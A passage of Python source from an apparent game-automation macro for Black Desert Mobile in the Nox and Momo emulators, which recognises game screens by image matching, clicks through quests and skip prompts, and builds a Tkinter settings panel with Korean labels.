tobeol_rank_list = [ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '10' ] muge_percentage_list = [ '70', '80', '90', '100', '110', '120', '130', '140', '150' ] def __init__(self, game_name, game_data_name, window): lybgame.LYBGame.__init__(self, lybconstant.LYB_GAME_BLACKDESERT, lybconstant.LYB_GAME_DATA_BLACKDESERT, window) def process(self, window_image): rc = super(LYBBlackDesert, self).process(window_image) if rc < 0: return rc return rc def custom_check(self, window_image, window_pixel): # 여기서 더 있다 갈래 설정 필요 (loc_x, loc_y), match_rate = self.locationOnWindowPart( self.window_image, self.resource_manager.pixel_box_dic['repeat_quest'], custom_flag=1, custom_rect=(240, 300, 280, 370) ) if loc_x != -1: c_match_rate = self.rateMatchedResource(self.window_pixels, 'migung_success_scene') if c_match_rate > 0.9: self.logger.warn('미궁 클리어') return '' c_match_rate = self.rateMatchedResource(self.window_pixels, 'migung_success_scene_repeat_confirm_event') if c_match_rate > 0.9: self.logger.warn('미궁 다시하기') return '' is_repeat_quest = self.get_scene('main_scene').get_game_config(lybconstant.LYB_DO_STRING_BD_WORK + 'quest_repeat_boolean') # 보정되지 않은 클릭을 하려면 이걸 써야 한다. # self.telegram_send('반복 의뢰 인식됨') # return -1 if is_repeat_quest == True: self.logger.warn('반복 의뢰 계속하기: ' + str(match_rate)) self.window.mouse_click(self.hwnd, loc_x, loc_y) else: (n_loc_x, n_loc_y), n_match_rate = self.locationOnWindowPart( self.window_image, self.resource_manager.pixel_box_dic['next_quest'], custom_flag=1, custom_rect=(240, 300, 280, 370) ) if n_loc_x != -1: self.logger.warn('반복 의뢰 그만하기: ' + str(n_match_rate)) self.window.mouse_click(self.hwnd, n_loc_x, n_loc_y) else: self.logger.debug('next_quest not found: ' + str(n_match_rate)) self.window.mouse_click(self.hwnd, loc_x, loc_y) return 'repeat' # 마을에서 부활 # (loc_x, loc_y), match_rate = self.locationOnWindowPart( # self.window_image, # self.resource_manager.pixel_box_dic['buhwal_in_town'], # custom_flag=1, # custom_threshold=0.9, # custom_rect=(350, 200, 400, 300) # ) # if loc_x != -1: # self.logger.warn('마을에서 부활: ' + str(match_rate)) # self.window.mouse_click(self.hwnd, loc_x, loc_y) # return 'buhwal_in_town' # 녹색 느낌표 인식 (loc_x, loc_y), match_rate = self.locationOnWindowPart( self.window_image, self.resource_manager.pixel_box_dic['green_quest'], custom_flag=1, custom_threshold=0.99, custom_rect=(240, 300, 280, 370) ) if loc_x != -1: self.logger.warn('녹색 느낌표 퀘스트: ' + str(match_rate)) self.window.mouse_click(self.hwnd, loc_x, loc_y) return 'green_quest' match_rate = self.rateMatchedResource(self.window_pixels, 'world_boss_success_scene') if match_rate > 0.9: return '' match_rate = self.rateMatchedPixelBox(self.window_pixels, "main_scene_moving", custom_top_level=255, custom_below_level=180) if match_rate > 0.9: return '' if not 'skip_event' in self.event_limit: self.event_limit['skip_event'] = time.time() # skip_limit = int(self.get_game_config(lybconstant.LYB_GAME_YEOLHYUL, lybconstant.LYB_DO_STRING_SKIP_PERIOD)) skip_limit = 0 if self.main_scene != None and self.main_scene.current_work != None: if self.main_scene.current_work == '토벌 게시판': match_rate = self.rateMatchedResource(self.window_pixels, 'tobeol_skip_loc', custom_below_level=200,custom_top_level=255) if match_rate > 0.99: self.logger.warn('동영상 건너뛰기') self.mouse_click('tobeol_skip') return 'skip' elif self.main_scene.current_work == '메인 퀘스트': (loc_x, loc_y), skip_match_rate = self.locationResourceOnWindowPart( self.window_image, 'npc_conversation_skip_loc', custom_threshold=0.9, custom_flag=1, custom_top_level=(255, 255, 255), custom_below_level=(130, 130, 130), custom_rect=(570, 100, 635, 130) ) # self.logger.info('npc_conversation_skip_loc' + ' ' + str((loc_x, loc_y)) + ' ' + str(skip_match_rate)) if loc_x != -1: if not 'npc_conversation_skip_loc' in self.event_limit: self.event_limit['npc_conversation_skip_loc'] = 0 if time.time() - self.event_limit['npc_conversation_skip_loc'] > 5: self.main_scene.lyb_mouse_click_location(loc_x, loc_y) self.event_limit['npc_conversation_skip_loc'] = time.time() return 'skip' else: return '' (loc_x, loc_y), skip_match_rate = self.locationResourceOnWindowPart( self.window_image, 'tutorial_skip_loc', custom_threshold=0.9, custom_flag=1, custom_rect=(570, 60, 610, 100) ) if loc_x != -1: if not 'tutorial_skip_loc' in self.event_limit: self.event_limit['tutorial_skip_loc'] = 0 if time.time() - self.event_limit['tutorial_skip_loc'] > 10: self.main_scene.lyb_mouse_click_location(loc_x, loc_y) self.event_limit['tutorial_skip_loc'] = time.time() return 'skip' else: return '' (loc_x, loc_y), skip_match_rate = self.locationResourceOnWindowPart( self.window_image, 'tutorial_skip_loc', custom_threshold=0.9, custom_flag=1, custom_rect=(30, 60, 70, 100) ) if loc_x != -1: if not 'tutorial_skip_loc' in self.event_limit: self.event_limit['tutorial_skip_loc'] = 0 if time.time() - self.event_limit['tutorial_skip_loc'] > 10: self.main_scene.lyb_mouse_click_location(loc_x, loc_y) self.event_limit['tutorial_skip_loc'] = time.time() return 'skip' else: return '' if time.time() - self.event_limit['skip_event'] > skip_limit: self.event_limit['skip_event'] = time.time() skip_loc_list = [ 'bottom_right_skip_loc', 'bottom_right_skip_2_loc', 'top_right_skip_loc', ] s = time.time() for each_loc in skip_loc_list: if not each_loc in self.event_limit: self.event_limit[each_loc] = time.time() else: # 건너뛰기 30초 안에 발생하는 것만 해당 if time.time() - self.event_limit[each_loc] > 30: self.set_option(each_loc + '_repeat', None) # self.event_limit[each_loc + '_count'] += 1 # adjust_level = int(self.get_game_config(lybconstant.LYB_GAME_TERA, lybconstant.LYB_DO_STRING_SKIP_LEVEL_ADJUST)) # adjust_threshold = int(self.get_game_config(lybconstant.LYB_GAME_YEOLHYUL, lybconstant.LYB_DO_STRING_YH_THRESHOLD_NEXT)) * 0.01 adjust_threshold = int(self.get_scene('main_scene').get_game_config(lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'conversation')) * 0.01 # print('[DEBUG] adjust_threshold=', adjust_threshold) # skip_match_rate = self.rateMatchedResource( # window_pixel, # each_loc, # custom_below_level=adjust_level # ) if each_loc == 'top_right_skip_loc': each_rect = (500, 115, 535, 145) elif each_loc == 'bottom_right_skip_loc': each_rect = (580, 350, 610, 385) elif each_loc == 'bottom_right_skip_2_loc': each_rect = (380, 290, 535, 315) (loc_x, loc_y), skip_match_rate = self.locationResourceOnWindowPart( self.window_image, each_loc, # custom_below_level=(100, 100, 100), # custom_top_level=(255, 255, 255), custom_threshold=adjust_threshold, custom_flag=1, custom_rect=each_rect ) # self.logger.debug(str(skip_match_rate) + ':' + str(adjust_threshold)) if loc_x != -1: self.event_limit[each_loc] = time.time() if each_loc != 'bottom_right_skip_loc': self.logger.debug('skip: ' + str(each_loc) + ':' + str((loc_x, loc_y)) +' '+ str(int(skip_match_rate * 100)) + '%') if self.get_option(each_loc + '_repeat') == None: self.set_option(each_loc + '_repeat', (loc_x, loc_y)) return '' (last_loc_x, last_loc_y) = self.get_option(each_loc + '_repeat') if last_loc_x == loc_x and last_loc_y == loc_y: self.set_option(each_loc + '_repeat', None) return '' self.logger.debug('Clicked SKIP: ' + str(each_loc) + ':' + str((loc_x, loc_y)) +' '+ str(int(skip_match_rate * 100)) + '%') self.set_option(each_loc + '_repeat', None) self.mouse_click(each_loc.replace('_loc', '', 1) + '_0') return 'skip' else: self.set_option(each_loc + '_repeat', None) pass # print('SKIP:', each_loc + ':' + str((loc_x, loc_y)) +' '+ str(int(skip_match_rate * 100)) + '%') e = time.time() # self.logger.debug('ElapsedTime SKIP: ' + str(round(e - s, 2))) resource_name = 'download_patch_loc' (loc_x, loc_y), match_rate = self.locationResourceOnWindowPart( self.window_image, resource_name, custom_threshold=0.9, custom_flag=1, custom_rect=(230, 120, 400, 180) ) if loc_x != -1: pb_name = 'download_patch_ok' (loc_x, loc_y), match_rate = self.locationOnWindowPart( self.window_image, self.resource_manager.pixel_box_dic[pb_name], custom_flag=1, custom_threshold=0.9, custom_rect=(320, 250, 420, 320) ) if loc_x != -1: self.logger.warn('패치 다운로드: ' + str(match_rate)) self.window.mouse_click(self.hwnd, loc_x, loc_y) return resource_name return '' def process_terminate_applications(self): max_app_close_count = self.common_config[lybconstant.LYB_DO_STRING_CLOSE_APP_COUNT] self.logger.debug('CloseMaxCount: ' + str(max_app_close_count)) if self.player_type == 'nox': if self.terminate_status == 0: # self.mouse_click_with_cursor(660, 350) if self.side_hwnd == None: self.logger.warn('녹스 사이드바 검색이 안되었기 때문에 종료 기능은 사용하지 못합니다.') self.request_terminate = False return self.window.mouse_click(self.side_hwnd, 16, 320) self.terminate_status += 1 elif self.terminate_status > 0 and self.terminate_status < max_app_close_count: self.logger.info('녹스 앱들을 종료 중입니다.') self.window.mouse_drag(self.hwnd, 320, 270, 0, 270, 0.5) # self.window.mouse_click(self.hwnd, 630, 220, delay=2) # time.sleep(2) # self.window.mouse_click(self.hwnd, 550, 245) self.terminate_status += 1 else: self.terminate_status = 0 self.request_terminate = False elif self.player_type == 'momo': if self.terminate_status == 0: self.window.mouse_click(self.parent_hwnd, 660, 355) # self.move_mouse_location(660, 355) self.terminate_status += 1 elif self.terminate_status > 0 and self.terminate_status < max_app_close_count: self.logger.info('모모 앱들을 종료 중입니다.') self.window.mouse_drag(self.hwnd, 320, 270, 0, 270, 0.5) self.terminate_status += 1 else: self.terminate_status = 0 self.request_terminate = False def get_screen_by_location(self, window_image): scene_name = self.scene_tutorial_gisul_screen(window_image) if len(scene_name) > 0: return scene_name scene_name = self.scene_init_screen(window_image) if len(scene_name) > 0: return scene_name # 순서 중요 !! # scene_name = self.scene_event_and_reward_screen(window_image) # if len(scene_name) > 0: # return scene_name # 순서 중요 !! # scene_name = self.scene_immu_start_screen(window_image) # if len(scene_name) > 0: # return scene_name # scene_name = self.scene_main_screen(window_image) # if len(scene_name) > 0: # return scene_name scene_name = self.scene_death_screen(window_image) if len(scene_name) > 0: return scene_name scene_name = self.scene_urewanryo_screen(window_image) if len(scene_name) > 0: return scene_name # scene_name = self.scene_geomungiun_screen(window_image) # if len(scene_name) > 0: # return scene_name scene_name = self.scene_jamjeryeok_jeonsu_screen(window_image) if len(scene_name) > 0: return scene_name scene_name = self.scene_nejeongbo_screen(window_image) if len(scene_name) > 0: return scene_name scene_name = self.scene_select_ure_screen(window_image) if len(scene_name) > 0: return scene_name # scene_name = self.scene_hukjeongryoung_soksakim_screen(window_image) # if len(scene_name) > 0: # return scene_name # return '' scene_name = self.scene_google_play_account_select(window_image) if len(scene_name) > 0: return scene_name scene_name = self.scene_jihwiso(window_image) if len(scene_name) > 0: return scene_name return '' # def scene_hukjeongryoung_soksakim_screen(self, window_image): # match_rate = self.rateMatchedResource(self.window_pixels, # 'hukjeongryoung_soksakim_scene_loc', # custom_below_level=(150, 150, 150), # custom_top_level=(255, 255, 255), # custom_tolerance=50) # if match_rate > 0.7: # self.logger.info('hukjeongryoung_soksakim_scene: ' + str(match_rate)) # return 'hukjeongryoung_soksakim_scene' # return '' def scene_jihwiso(self, window_image): (loc_x, loc_y), match_rate = self.locationResourceOnWindowPart( self.window_image, 'jihwiso_scene_loc', custom_threshold=0.7, custom_flag=1, custom_rect=(450, 40, 540, 80) ) if match_rate > 0.7: self.logger.info('jihwiso_scene_loc: ' + str(match_rate)) return 'jihwiso_scene' return '' def scene_tutorial_gisul_screen(self, window_image): match_rate = self.rateMatchedResource(self.window_pixels, 'tutorial_gisul_loc', custom_tolerance=50) if match_rate > 0.7: self.logger.info('tutorial_gisul_scene: ' + str(match_rate)) return 'tutorial_gisul_scene' return '' def scene_select_ure_screen(self, window_image): (loc_x, loc_y), match_rate = self.locationResourceOnWindowPart( self.window_image, 'select_ure_scene_loc', custom_threshold=0.7, custom_flag=1, custom_rect=(280, 50, 370, 150) ) if match_rate > 0.7: self.logger.info('select_ure_scene: ' + str(match_rate)) return 'select_ure_scene' return '' def scene_nejeongbo_screen(self, window_image): (loc_x, loc_y), match_rate = self.locationResourceOnWindowPart( self.window_image, 'nejeongbo_scene_loc', custom_threshold=0.7, custom_flag=1, custom_rect=(50, 35, 115, 60) ) if match_rate > 0.7: self.logger.info('nejeongbo_scene: ' + str(match_rate)) self.current_matched_scene['name'] = 'nejeongbo_scene_loc' match_rate = self.rateMatchedResource(self.window_pixels, self.current_matched_scene['name'], weight_tolerance=self.weight_tolerance) self.current_matched_scene['rate'] = int(match_rate * 100) return 'nejeongbo_scene' return '' def scene_jamjeryeok_jeonsu_screen(self, window_image): (loc_x, loc_y), match_rate = self.locationResourceOnWindowPart( self.window_image, 'jamjeryeok_jeonsu_scene_loc', custom_threshold=0.7, custom_flag=1, custom_rect=(50, 35, 115, 60) ) if match_rate > 0.7: self.logger.info('jamjeryeok_jeonsu_scene: ' + str(match_rate)) self.current_matched_scene['name'] = 'jamjeryeok_jeonsu_scene_loc' match_rate = self.rateMatchedResource(self.window_pixels, self.current_matched_scene['name'], weight_tolerance=self.weight_tolerance) self.current_matched_scene['rate'] = int(match_rate * 100) return 'jamjeryeok_jeonsu_scene' return '' # def scene_geomungiun_screen(self, window_image): # (loc_x, loc_y), match_rate = self.locationResourceOnWindowPart( # self.window_image, # 'geomungiun_scene_loc', # custom_threshold=0.7, # custom_flag=1, # custom_rect=(50, 35, 115, 60) # ) # if match_rate > 0.7: # self.logger.info('geomungiun_scene: ' + str(match_rate)) # return 'geomungiun_scene' # return '' def scene_death_screen(self, window_image): (loc_x, loc_y), match_rate = self.locationResourceOnWindowPart( self.window_image, 'death_scene_loc', # custom_below_level=(130, 70, 60), # custom_top_level=(230, 120, 90), custom_threshold=0.7, custom_flag=1, custom_rect=(250, 170, 380, 200) ) if match_rate > 0.7: self.logger.info('death_scene: ' + str(match_rate)) return 'death_scene' return '' # def scene_immu_start_screen(self, window_image): # (loc_x, loc_y), match_rate = self.locationResourceOnWindowPart( # self.window_image, # 'immu_start_scene_loc', # # custom_below_level=(200, 200, 200), # # custom_top_level=(255,255,255), # custom_threshold=0.7, # custom_flag=1, # custom_rect=(220, 120, 420, 145) # ) # if match_rate > 0.7: # self.logger.info('immu_start_scene: ' + str(match_rate)) # return 'immu_start_scene' # return '' # def scene_event_and_reward_screen(self, window_image): # (loc_x, loc_y), match_rate = self.locationResourceOnWindowPart( # self.window_image, # 'event_and_reward_scene_loc', # # custom_below_level=(200, 200, 200), # # custom_top_level=(255,255,255), # custom_threshold=0.7, # custom_flag=1, # custom_rect=(260, 70, 380, 100) # ) # if match_rate > 0.7: # self.logger.info('event_and_reward_scene: ' + str(match_rate)) # return 'event_and_reward_scene' # return '' def scene_urewanryo_screen(self, window_image): (loc_x, loc_y), match_rate = self.locationResourceOnWindowPart( self.window_image, 'urewanryo_scene_loc', # custom_below_level=(200, 200, 200), # custom_top_level=(255,255,255), custom_threshold=0.7, custom_flag=1, custom_rect=(270, 100, 320, 200) ) if match_rate > 0.7: self.logger.info('urewanryo_scene: ' + str(match_rate)) return 'urewanryo_scene' return '' def scene_main_screen(self, window_image): s = time.time() (loc_x, loc_y), match_rate = self.locationResourceOnWindowPart( self.window_image, 'main_scene_loc', # custom_below_level=(200, 200, 200), # custom_top_level=(255,255,255), custom_threshold=0.7, custom_flag=1, custom_rect=(430, 30, 635, 60) ) e = time.time() self.logger.debug('ElapsedTime main_scene_loc: ' + str(round(e - s, 5))) if match_rate > 0.7: self.logger.debug('main scene: ' + str(match_rate)) self.current_matched_scene['name'] = 'main_scene_loc' match_rate = self.rateMatchedResource(self.window_pixels, self.current_matched_scene['name'], weight_tolerance=self.weight_tolerance) self.current_matched_scene['rate'] = int(match_rate * 100) return 'main_scene' return '' def scene_init_screen(self, window_image): loc_x = -1 loc_y = -1 if self.player_type == 'nox': for each_icon in LYBBlackDesert.nox_bd_icon_list: (loc_x, loc_y), match_rate = self.locationOnWindowPart( window_image, self.resource_manager.pixel_box_dic[each_icon], custom_threshold=0.8, custom_flag=1, custom_rect=(80, 110, 570, 300) ) # print('[DEBUG] nox yh icon:', (loc_x, loc_y), match_rate) if loc_x != -1: break elif self.player_type == 'momo': for each_icon in LYBBlackDesert.momo_bd_icon_list: (loc_x, loc_y), match_rate = self.locationOnWindowPart( window_image, self.resource_manager.pixel_box_dic[each_icon], custom_threshold=0.8, custom_flag=1, custom_rect=(30, 40, 610, 300) ) # print('[DEBUG] momo yh icon:', (loc_x, loc_y), match_rate) if loc_x != -1: break if loc_x == -1: return '' return 'init_screen_scene' def scene_google_play_account_select(self, window_image): loc_x_list = [] loc_y_list = [] pb_name = 'google_play_letter' (loc_x, loc_y), match_rate = self.locationOnWindowPart( window_image, self.resource_manager.pixel_box_dic[pb_name], custom_flag=1, custom_rect=(150, 50, 490, 270) ) # self.logger.warn(str((loc_x, loc_y)) + ':' + str(match_rate)) # self.getImagePixelBox(pb_name).save(pb_name + '.png') loc_x_list.append(loc_x) loc_y_list.append(loc_y) for i in range(6): pb_name = 'google_play_letter_' + str(i) (loc_x, loc_y), match_rate = self.locationOnWindowPart( window_image, self.resource_manager.pixel_box_dic[pb_name], custom_flag=1, custom_rect=(150, 50, 490, 270) ) # self.logger.warn(str((loc_x, loc_y)) + ':' + str(match_rate)) # self.getImagePixelBox(pb_name).save(pb_name + '.png') loc_x_list.append(loc_x) loc_y_list.append(loc_y) for each_loc in loc_x_list: if each_loc == -1: return '' else: continue return 'google_play_account_select_scene' def clear_scene(self): last_scene = self.scene_dic self.scene_dic = {} for scene_name, scene in last_scene.items(): if ( 'google_play_account_select_scene' in scene_name or 'logo_screen_scene' in scene_name or 'connect_account_scene' in scene_name ): self.scene_dic[scene_name] = last_scene[scene_name] def add_scene(self, scene_name): self.scene_dic[scene_name] = lybscene.LYBBlackDesertScene(scene_name) self.scene_dic[scene_name].setLoggingQueue(self.logging_queue) self.scene_dic[scene_name].setGameObject(self) class LYBBlackDesertTab(lybgame.LYBGameTab): def __init__(self, root_frame, configure, game_options, inner_frame_dics, width, height, game_name=lybconstant.LYB_GAME_BLACKDESERT): lybgame.LYBGameTab.__init__(self, root_frame, configure, game_options, inner_frame_dics, width, height, game_name) def set_work_list(self): lybgame.LYBGameTab.set_work_list(self) for each_work in LYBBlackDesert.work_list: self.option_dic['work_list_listbox'].insert('end', each_work) self.configure.common_config[self.game_name]['work_list'].append(each_work) def set_option(self): ############################################### # 메인 퀘스트 진행 # ############################################### frame = ttk.Frame(self.inner_frame_dic['frame_top'], relief=self.frame_relief) frame.pack(anchor=tkinter.W) # PADDING frame = ttk.Frame( master = self.master, relief = self.frame_relief ) frame.pack(pady=5) self.inner_frame_dic['options'] = ttk.Frame( master = self.master, relief = self.frame_relief ) self.option_dic['option_note'] = ttk.Notebook( master = self.inner_frame_dic['options'] ) self.inner_frame_dic['common_tab_frame'] = ttk.Frame( master = self.option_dic['option_note'], relief = self.frame_relief ) self.inner_frame_dic['hunt_tab_frame'] = ttk.Frame( master = self.option_dic['option_note'], relief = self.frame_relief ) self.inner_frame_dic['hunt2_tab_frame'] = ttk.Frame( master = self.option_dic['option_note'], relief = self.frame_relief ) self.inner_frame_dic['work_tab_frame'] = ttk.Frame( master = self.option_dic['option_note'], relief = self.frame_relief ) self.inner_frame_dic['work2_tab_frame'] = ttk.Frame( master = self.option_dic['option_note'], relief = self.frame_relief ) self.inner_frame_dic['tobeol_tab_frame'] = ttk.Frame( master = self.option_dic['option_note'], relief = self.frame_relief ) self.inner_frame_dic['notify_tab_frame'] = ttk.Frame( master = self.option_dic['option_note'], relief = self.frame_relief ) self.inner_frame_dic['common_tab_frame'].pack(anchor=tkinter.NW, fill=tkinter.BOTH, expand=True) self.option_dic['option_note'].add(self.inner_frame_dic['common_tab_frame'], text='일반') self.inner_frame_dic['hunt_tab_frame'].pack(anchor=tkinter.NW, fill=tkinter.BOTH, expand=True) self.option_dic['option_note'].add(self.inner_frame_dic['hunt_tab_frame'], text='자동 사냥') self.inner_frame_dic['hunt2_tab_frame'].pack(anchor=tkinter.NW, fill=tkinter.BOTH, expand=True) self.option_dic['option_note'].add(self.inner_frame_dic['hunt2_tab_frame'], text='자동 사냥2') self.inner_frame_dic['work_tab_frame'].pack(anchor=tkinter.NW, fill=tkinter.BOTH, expand=True) self.option_dic['option_note'].add(self.inner_frame_dic['work_tab_frame'], text='작업별 설정') self.inner_frame_dic['work2_tab_frame'].pack(anchor=tkinter.NW, fill=tkinter.BOTH, expand=True) self.option_dic['option_note'].add(self.inner_frame_dic['work2_tab_frame'], text='작업별 설정2') self.inner_frame_dic['tobeol_tab_frame'].pack(anchor=tkinter.NW, fill=tkinter.BOTH, expand=True) self.option_dic['option_note'].add(self.inner_frame_dic['tobeol_tab_frame'], text='토벌 게시판') self.inner_frame_dic['notify_tab_frame'].pack(anchor=tkinter.NW, fill=tkinter.BOTH, expand=True) self.option_dic['option_note'].add(self.inner_frame_dic['notify_tab_frame'], text='알림') frame_head = ttk.Frame(self.inner_frame_dic['common_tab_frame']) frame_left = ttk.Frame(frame_head) frame_label = ttk.LabelFrame(frame_left, text='인식 허용률(%)') frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("메인퀘스트 관련 이미지") ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'main_quest'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'main_quest'].trace( 'w', lambda *args: self.callback_threshold_mainquest_stringvar(args, lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'main_quest') ) if not lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'main_quest' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'main_quest'] = 70 combobox_list = [] for i in range(50, 91): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'main_quest'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'main_quest']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("대화 건너뛰기 이미지") ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'conversation'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'conversation'].trace( 'w', lambda *args: self.callback_threshold_conversation_stringvar(args, lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'conversation') ) if not lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'conversation' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'conversation'] = 85 combobox_list = [] for i in range(50, 91): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'conversation'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'conversation']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("전흔, 채광, 채집, 벌목 이미지") ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'combat_box'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'combat_box'].trace( 'w', lambda *args: self.callback_threshold_combat_box_stringvar(args, lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'combat_box') ) if not lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'combat_box' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'combat_box'] = 70 combobox_list = [] for i in range(50, 91): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'combat_box'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'combat_box']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame_label.pack(anchor=tkinter.NW, padx=5, pady=5) frame_label = ttk.LabelFrame(frame_left, text='상태 체크(회)') frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("자동 태세 전 수동 체크 횟수") ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'sudong_limit'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'sudong_limit'].trace( 'w', lambda *args: self.callback_threshold_sudong_limit_stringvar(args, lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'sudong_limit') ) if not lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'sudong_limit' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'sudong_limit'] = 3 combobox_list = [] for i in range(2, 100): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'sudong_limit'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'sudong_limit']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("미궁 감지 체크 횟수") ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'migung_limit'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'migung_limit'].trace( 'w', lambda *args: self.callback_threshold_migung_limit_stringvar(args, lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'migung_limit') ) if not lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'migung_limit' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'migung_limit'] = 10 combobox_list = [] for i in range(5, 31): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'migung_limit'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'migung_limit']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("이동 중 체크 횟수") ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'moving_limit'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'moving_limit'].trace( 'w', lambda *args: self.callback_threshold_moving_limit_stringvar(args, lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'moving_limit') ) if not lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'moving_limit' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'moving_limit'] = 200 combobox_list = [] for i in range(0, 1001, 5): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'moving_limit'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'moving_limit']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("물약 없음 체크 횟수") ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'potion_empty_limit'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'potion_empty_limit'].trace( 'w', lambda *args: self.callback_threshold_potion_empty_limit_stringvar(args, lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'potion_empty_limit') ) if not lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'potion_empty_limit' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'potion_empty_limit'] = 30 combobox_list = [] for i in range(0, 1001, 5): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'potion_empty_limit'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_THRESHOLD + 'potion_empty_limit']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame_label.pack(anchor=tkinter.NW, padx=5, pady=5) frame_left.pack(side=tkinter.LEFT, anchor=tkinter.NW) frame_label = ttk.LabelFrame(frame_head, text='반복 주기(초)') frame = 